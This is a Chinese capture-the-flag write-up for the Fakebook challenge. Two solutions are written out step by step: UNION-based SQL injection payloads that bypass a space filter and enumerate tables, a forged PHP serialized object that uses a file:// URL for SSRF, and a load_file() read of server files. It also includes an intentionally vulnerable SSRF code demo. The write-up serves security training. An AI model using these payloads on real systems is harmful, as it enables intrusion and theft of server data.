[网鼎杯 2018]Fakebook1

打开题目

第一种解法

我们先随便join一下

这里起初我的四个框都是随便填1的,但是发现注册不了,几经尝试以后发现blog那个框里面必须填一个类似什么网页的域名,例如我乱写的qqq.com,bai.com等

所以我最后乱填了个baidu.com就注册成功了

其余都是乱填1

加入成功

点击我们的用户名

发现了注入点?no=1 原因是在1后面乱加什么东西,都会对页面结果产生影响

接下来我们判断列名字段数

?no=1 order by 4 # 页面正常

?no=1 order by 5 # 页面错误

说明列名字段数为4

我们用联合注入查询时,发现过滤了空格,我们用/**/来绕过空格

?no=11 union/**/select 1,2,3,4 #

发现回显位是2

?no=11 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

发现username下回显了users,说明表名为users

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users' #

发现有no,username,passwd,data四个列名字段

?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #

或者

?no=-1 union/**/select 1,concat_ws(no,username,passwd,data),3,4 from users #

同时我们还发现了反序列化函数

查看页面源代码无果后,我们访问robots.txt看看

复制代码
/user.php.bak,访问这个

代码如下

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这段代码很有可能存在ssrf漏洞

查看页面源代码得到

这段对应网页的博客内容

而我们之前爆出来的字段正是序列化后的内容

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}

说明注册时会序列化我们的注册信息,回显到页面时再反序列化。

而这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf漏洞

修改自己最后blog字段内容,改为file:///var/www/html/flag.php,并把对应的s改为对应长度29

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

之前爆破出来的data字段在第四位,所以我们放在第四位

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

看源代码,点击data的链接,得到flag

第二种解法

我们之前在爆破列名字段数时,看见了页面回显的错误信息

报错位置在**/var/www/html/db.php**

那我们是不是可以用sql数据库提供的load_file读取文件函数呢

?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #

查看页面源代码直接得到flag

做题思路

1.判断注入点

我们发现了sql注入点?no=1,在1后面加内容可以对页面结果造成影响

2.判断列名字段数

?no=1 order by 4 # 页面正常

?no=1 order by 5 # 页面错误

说明列名字段数为4

3.爆破表名

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

知道表名为users

4.爆破列名

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users' #

爆破出来no,username,passwd,data四个列名

5.爆破数据

?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #

爆破得到username列下的数据

同时发现反序列化函数unserialize()

6.访问robots.txt查看源码

在下面发现了

复制代码
/user.php.bak

访问,查看源码发现了ssrf漏洞

7.查看博客的源代码

发现data所指的内容就是博客的内容,构成了一个ssrf漏洞

8.利用之前在username爆破出来的序列化数据构造payload

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}

构造payload,指向flag

/var/www/html/flag.php,利用伪协议文件包含 file:// 访问本地文件系统

并修改长度

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

9.修改data的内容,使其指向flag的链接,查看源代码即可得到flag

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

知识点:

  • 什么是ssrf

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

  • SSRF的形成原因

大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web

应用作为代理攻击远程和本地的服务器

  • ssrf漏洞产生相关函数:
复制代码
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
  • 漏洞Demo:
复制代码
<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  
?>

一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

举例 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。

所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。

  • 反序列化函数

    1. serialize和unserialize函数
    1. json_encode 和 json_decode
    1. var_export 和 eval
    1. wddx_serialize_value 和 wddx deserialize
  • 反序列化和序列化

序列化(串行化):是将变量转换为可保存或传输的字符串的过程;

反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。

相关文章链接见:

BUUCTF [网鼎杯 2018]Fakebook 1_buuctf fakebook 1___byb__的博客-CSDN博客

https://www.cnblogs.com/miruier/p/13907150.html

相关推荐
独行soc12 分钟前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
White_Mountain30 分钟前
在Ubuntu中配置mysql,并允许外部访问数据库
数据库·mysql·ubuntu
Code apprenticeship31 分钟前
怎么利用Redis实现延时队列?
数据库·redis·缓存
百度智能云技术站34 分钟前
广告投放系统成本降低 70%+,基于 Redis 容量型数据库 PegaDB 的方案设计和业务实践
数据库·redis·oracle
老王笔记35 分钟前
GTID下复制问题和解决
mysql
装不满的克莱因瓶37 分钟前
【Redis经典面试题六】Redis的持久化机制是怎样的?
java·数据库·redis·持久化·aof·rdb
清平乐的技术专栏1 小时前
Hive SQL 查询所有函数
hive·hadoop·sql
Lojarro2 小时前
【Spring】Spring框架之-AOP
java·mysql·spring
梦想平凡2 小时前
PHP 微信棋牌开发全解析:高级教程
android·数据库·oracle
TianyaOAO2 小时前
mysql的事务控制和数据库的备份和恢复
数据库·mysql